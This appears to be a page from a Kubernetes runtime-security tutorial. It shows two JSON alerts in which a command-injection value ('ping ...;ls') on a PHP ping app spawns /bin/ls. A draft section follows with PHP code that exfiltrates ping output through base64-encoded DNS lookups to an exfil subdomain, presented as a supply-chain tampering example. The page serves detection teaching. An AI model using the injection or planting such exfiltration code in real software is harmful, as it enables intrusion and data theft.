{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"args":["/bin/ls"],"exec":"/bin/ls","retval":0},"infectedPID":6972,"severity":5,"size":"4.1 kB","timestamp":"2025-05-14T09:41:34.973055288Z","trace":{}},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"honeycluster","containerName":"ping-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"default","containerID":"2b3c4de694b3e5668c920cea48db530892eda11c4984552a7457b7f5af701d9c","podName":"webapp-d87cdd796-4ltvq","podNamespace":"default","podLabels":{"app":"webapp","pod-template-hash":"d87cdd796"},"workloadName":"webapp","workloadNamespace":"default","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":6950,"cmdline":"/bin/sh -c ping -c 4 172.16.0.2;ls","comm":"sh","ppid":5180,"pcomm":"apache2","hardlink":"/bin/dash","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","upperLayer":false,"cwd":"/var/www/html","path":"/bin/dash","childrenMap":{"ls␟6972":{"pid":6972,"cmdline":"/bin/ls ","comm":"ls","ppid":6950,"pcomm":"sh","hardlink":"/bin/ls","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","upperLayer":false,"cwd":"/var/www/html","path":"/bin/ls"}}},"containerID":"2b3c4de694b3e5668c920cea48db530892eda11c4984552a7457b7f5af701d9c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"2b3c4de694b3e5668c920cea48db530892eda11c4984552a7457b7f5af701d9c","containerName":"ping-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"default","podName":"webapp-d87cdd796-4ltvq","podLabels":{"app":"webapp","pod-template-hash":"d87cdd796"},"containerName":"ping-app","owner":{}},"timestamp":1747215694973055288,"type":"normal"},"level":"error","message":"Unexpected process launched: /bin/ls","msg":"Unexpected process launched","time":"2025-05-14T09:41:34Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected file access","arguments":{"flags":["O_RDONLY","O_NONBLOCK","O_DIRECTORY","O_CLOEXEC"],"path":"/var/www/html"},"infectedPID":6972,"severity":1,"timestamp":"2025-05-14T09:41:34.975867565Z","trace":{}},"CloudMetadata":null,"RuleID":"R0002","RuntimeK8sDetails":{"clusterName":"honeycluster","containerName":"ping-app","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","imageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb","namespace":"default","containerID":"2b3c4de694b3e5668c920cea48db530892eda11c4984552a7457b7f5af701d9c","podName":"webapp-d87cdd796-4ltvq","podNamespace":"default","workloadName":"webapp","workloadNamespace":"default","workloadKind":"Deployment"},"RuntimeProcessDetails":{"processTree":{"pid":6950,"cmdline":"/bin/sh -c ping -c 4 172.16.0.2;ls","comm":"sh","ppid":5180,"pcomm":"apache2","hardlink":"/bin/dash","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","upperLayer":false,"cwd":"/var/www/html","path":"/bin/dash","childrenMap":{"ls␟6972":{"pid":6972,"cmdline":"/bin/ls ","comm":"ls","ppid":6950,"pcomm":"sh","hardlink":"/bin/ls","uid":33,"gid":33,"startTime":"0001-01-01T00:00:00Z","upperLayer":false,"cwd":"/var/www/html","path":"/bin/ls"}}},"containerID":"2b3c4de694b3e5668c920cea48db530892eda11c4984552a7457b7f5af701d9c"},"event":{"runtime":{"runtimeName":"containerd","containerId":"2b3c4de694b3e5668c920cea48db530892eda11c4984552a7457b7f5af701d9c","containerName":"ping-app","containerImageName":"ghcr.io/k8sstormcenter/webapp@sha256:e323014ec9befb76bc551f8cc3bf158120150e2e277bae11844c2da6c56c0a2b","containerImageDigest":"sha256:c622cf306b94e8a6e7cfd718f048015e033614170f19228d8beee23a0ccc57bb"},"k8s":{"namespace":"default","podName":"webapp-d87cdd796-4ltvq","podLabels":{"app":"webapp","pod-template-hash":"d87cdd796"},"containerName":"ping-app","owner":{}},"timestamp":1747215694975867565,"type":"normal"},"level":"error","message":"Unexpected file access: /var/www/html with flags O_RDONLY,O_NONBLOCK,O_DIRECTORY,O_CLOEXEC","msg":"Unexpected file access","time":"2025-05-14T09:41:34Z"}
2) A malicious behaviour cause by the artefact having been tampered with in the supply chain:
WIP: this part is not written yet , but src code is there
// Exfiltrate each line of the ping result via DNS query
$encoded_line = base64_encode($line); // Encode the line to make it DNS-safe
$dns_query = $encoded_line . ".exfil.k8sstormcenter.com";
exec("nslookup $dns_query > /dev/null 2>&1"); // Send the DNS query
Level up your Server Side game — Join 10,500 engineers who receive insightful learning materials straight to their inbox
- Next →
- Vendor -Publish in CI/CD